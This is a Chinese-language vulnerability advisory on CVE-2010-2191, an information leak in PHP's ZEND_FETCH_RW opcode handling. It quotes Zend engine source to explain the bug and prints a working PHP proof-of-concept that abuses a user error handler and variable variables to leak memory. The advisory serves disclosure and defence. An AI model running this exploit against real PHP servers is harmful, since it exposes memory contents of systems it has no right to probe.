安全研究

安全漏洞
PHP ZEND_FETCH_RW opcode中断处理信息泄露漏洞

发布日期:2010-05-31
更新日期:2010-06-28

受影响系统:
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述:
CVE ID: CVE-2010-2191

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的ZEND_FETCH_RW opcode的实现如下:

ZEND_VM_HANDLER(86, ZEND_FETCH_RW, CONST|TMP|VAR|CV, ANY)
{
    ZEND_VM_DISPATCH_TO_HELPER_EX(zend_fetch_var_address_helper, type, BP_VAR_RW);
}

处理器本身只调用zend_fetch_var_address_helper()帮助函数:

ZEND_VM_HELPER_EX(zend_fetch_var_address_helper, CONST|TMP|VAR|CV, ANY, int type)
{
    zend_op *opline = EX(opline);
    ...

    if (OP1_TYPE != IS_CONST && Z_TYPE_P(varname) != IS_STRING) {
        ...
    }

    if (opline->op2.u.EA.type == ZEND_FETCH_STATIC_MEMBER) {
        ...
    } else {
        ...

        if (zend_hash_find(target_symbol_table, varname->value.str.val, varname->value.str.len+1, (void **) &retval) == FAILURE) {
            switch (type) {
                case BP_VAR_R:
                case BP_VAR_UNSET:
                    zend_error(E_NOTICE,"Undefined variable: %s", Z_STRVAL_P(varname));
                    /* break missing intentionally */
                case BP_VAR_IS:
                    retval = &EG(uninitialized_zval_ptr);
                    break;
                case BP_VAR_RW:
                    zend_error(E_NOTICE,"Undefined variable: %s", Z_STRVAL_P(varname));
                    /* break missing intentionally */
                case BP_VAR_W: {
                        zval *new_zval = &EG(uninitialized_zval);

                        Z_ADDREF_P(new_zval);
                        zend_hash_update(target_symbol_table, varname->value.str.val, varname->value.str.len+1, &new_zval, sizeof(zval *), (void **) &retval);
                    }
                    break;
                EMPTY_SWITCH_DEFAULT_CASE()
            }
        }

在未定义变量的情况下会触发E_NOTICE,还会调用用户所注册的用户空间出错处理器。此外在BP_VAR_RW的情况下,不仅会触发出错处理器,还会向符号表中用空值添加不存在的变量。攻击者可以利用这种方式泄露内存,因为在使用variable变量的时候,可以更改出错处理器中包含变量名的ZVAL。

<*来源:Stefan Esser (s.esser@ematters.de
  
  链接:http://www.php-security.org/2010/05/31/mops-2010-053-php-zend_fetch_rw-opcode-interruption-information-leak-vulnerability/index.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
error_reporting(E_ALL);

/* Initialize */
$a = 1;
$b = new stdClass();

/* Setup Error Handler */
set_error_handler("my_error");
    
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['a'] = str_repeat("A", 39);
} else {
    $GLOBALS['a'] = str_repeat("A", 67);        
}

/* Trigger the Code */

$$a .= "FOUNDME";

foreach ($GLOBALS as $key => $val) {
    if ($val == "FOUNDME") {
        hexdump($key);
        break;
    }
}

function my_error($x,$msg)
{
    echo "$msg\n";
    parse_str("x=1", $GLOBALS['a']);
    return 1;
}

?>

建议:
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

浏览次数:2977
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障